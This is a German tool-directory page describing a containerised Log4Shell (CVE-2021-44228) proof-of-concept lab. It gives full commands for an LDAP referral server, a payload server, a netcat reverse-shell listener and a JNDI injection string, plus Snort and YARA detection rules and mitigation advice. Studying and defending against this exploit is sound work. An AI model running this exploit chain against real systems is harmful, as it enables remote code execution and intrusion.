Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Log4Shell-PoC — **Log4Shell PoC ist eine originalgetreue Exploitation-Umgebung, die entwickelt wurde, um die Schwachstelle CVE-2021-44228 nachzubilden.** Sie stellt eine containerisierte Sandbox bereit, um JNDI-Injection, LDAP/RMI-Referral-Umleitung und Remote-Code-Ausführung (RCE) über die Log4j-2-Bibliothek zu demonstrieren. | Kitploit
Tools/GitHubGitHub/josemariamicoli/log4shell-poc
SchwachstellenanalyseExploitationIDS/IPS-UmgehungWebanwendungs-ExploitationCommand and ControlLernen & BildungIncident ResponsePayload-EntwicklungLabs & Praxis
GitHubjosemariamicoli/log4shell-poc

Log4Shell-PoC

Repository anzeigen
12vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

**Log4Shell PoC ist eine originalgetreue Exploitation-Umgebung, die entwickelt wurde, um die Schwachstelle CVE-2021-44228 nachzubilden.** Sie stellt eine containerisierte Sandbox bereit, um JNDI-Injection, LDAP/RMI-Referral-Umleitung und Remote-Code-Ausführung (RCE) über die Log4j-2-Bibliothek zu demonstrieren.

Teilen

██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝

root@kitploit:~
                         ██████╗  ██████╗  ██████╗
                         ██╔══██╗██╔═══██╗██╔════╝
                         ██████╔╝██║   ██║██║     
                         ██╔═══╝ ██║   ██║██║     
                         ██║     ╚██████╔╝╚██████╔╝
                         ╚═╝      ╚═════╝  ╚═════╝ 

         ⚡ LOG4SHELL (CVE-2021-44228) PoC-LABOR
          [ PROOF OF CONCEPT & JNDI-EXPLOITATION ]

Log4Shell PoC ist eine realitätsgetreue Exploitation-Umgebung zur Nachbildung der CVE-2021-44228-Schwachstelle. Sie bietet eine containerisierte Sandbox zur Demonstration von JNDI-Injection, LDAP/RMI-Referral-Umleitung und Remote-Code-Ausführung (RCE) über die Log4j-2-Bibliothek.


⚠️ HAFTUNGSAUSSCHLUSS

Nur für Bildungszwecke und autorisierte Sicherheitstests.

Die Verwendung dieses Proof of Concept für Angriffe auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, landes- und bundesrechtlichen Gesetze einzuhalten. Die Autoren übernehmen keinerlei Haftung und sind nicht verantwortlich für Datenverluste, Systemschäden, rechtliche Konsequenzen oder Missbrauch, die durch dieses Programm verursacht werden. Durch die Verwendung dieser Software erklärst du dich damit einverstanden, dich innerhalb der rechtlichen Grenzen deiner Gerichtsbarkeit zu bewegen.



Abschnitt 2: Projektfunktionen und -struktur

🚀 PoC-Funktionen

  • JNDI-Injection: Einstiegspunkt in die verwundbare Log4j 2.14.1.
  • LDAP-Referral-Server: Bösartige LDAP-Umleitung über Marshalsec.
  • Remote-Klassenladen: HTTP-Zustellung von kompiliertem Java-Bytecode.
  • Mehrstufige Payload: Ausführung einer in Java implementierten Reverse Shell.
  • Umgehungstests: Umgehung von TrustURLCodebase und FormatMsgNoLookups.

🛠 PoC-Struktur

🛰 Bösartige Infrastruktur (Angreifer)

Die Angreiferseite besteht aus drei eigenständigen Kanälen, um den PoC zu ermöglichen.

  • LDAP-Redirector (Port 1389): Basierend auf Marshalsec leitet dieser die JNDI-Anfrage des Opfers an den gehosteten Exploit weiter.
  • HTTP-Payload-Server (Port 8888): Hostet den Exploit.class-Bytecode, den das Opfer herunterladen und ausführen kann.
  • NC-Listener (Port 9001): Das endgültige Rückrufziel für die Reverse Shell.

💻 Verwundbare Instanz (Opfer)

Eine dockerisierte OpenJDK-8-Umgebung, die eine verwundbare Log4j-Implementierung ausführt.

  • Log4j v2.14.1: Die anvisierte Bibliotheksversion.
  • VulnerableLog.java: Eine einfache Java-Anwendung, die benutzergelieferte Eingaben ohne Bereinigung protokolliert.


Abschnitt 3: Setup- und Ausführungsanweisungen

⚙️ Setup & Ausführung

1. Angreifer-Setup (Arch Linux)

Tab 1: LDAP-Referral-Server

root@kitploit:~
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"

Tab 2: HTTP-Payload-Auslieferung

root@kitploit:~
# Start Python server in the directory containing Exploit.class
python3 -m http.server --bind 0.0.0.0 8888

Tab 3: Netcat-Listener

root@kitploit:~
nc -lvnp 9001

2. Ausführung auf dem Opfer

Tab 4: Verwundbaren Container starten

root@kitploit:~
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh

Im Container: PoC auslösen

root@kitploit:~
java -Dlog4j2.formatMsgNoLookups=false \
     -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
     -cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
     VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'



Abschnitt 4: Erkennung und Abschwächung

🔍 Erkennung & defensives Monitoring

1. Netzwerkerkennung (Snort/Suricata)

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)

2. Protokollbasierte Erkennung (YARA)

root@kitploit:~
rule Log4Shell_PoC_JNDI {
    meta:
        description = "Detects JNDI lookup strings in logs used in PoC"
        author = "Apex Pro Framework"
    strings:
        $jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
        $obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
    condition:
        any of them
}

🛡 Incident-Response-Matrix (IR)

PhaseTechnikAlarm ausgelöst?MITRE ATT&CK
ErstzugriffAusnutzung öffentlich erreichbarer Anwendung[ ]T1190
AusführungBefehls- und Skriptinterpreter[ ]T1059
Kommando & KontrolleAnwendungsschicht-Protokoll (LDAP)[ ]T1071.003
ExfiltrationNicht-Anwendungsschicht-Protokoll[ ]T1048

🔒 Abschwächung & Härtung

  1. Aktualisierung: Auf Log4j 2.17.1 oder höher aktualisieren.
  2. JVM-Flag: -Dlog4j2.formatMsgNoLookups=true setzen, um Lookups zu deaktivieren.
  3. Klassenentfernung: JndiLookup.class manuell aus dem log4j-core-JAR entfernen.

🔒 Einsatzregeln

  1. Isolation: Ziel-IPs fest auf die interne Docker-Brücke (172.17.0.0/16) begrenzen.
  2. Netzwerk: Ausschließlich Host-Only-/internes VM-Netzwerk sicherstellen.
  3. C2-Sicherheit: Die Python- oder LDAP-Server nicht dem öffentlichen Internet aussetzen.
Tool herunterladen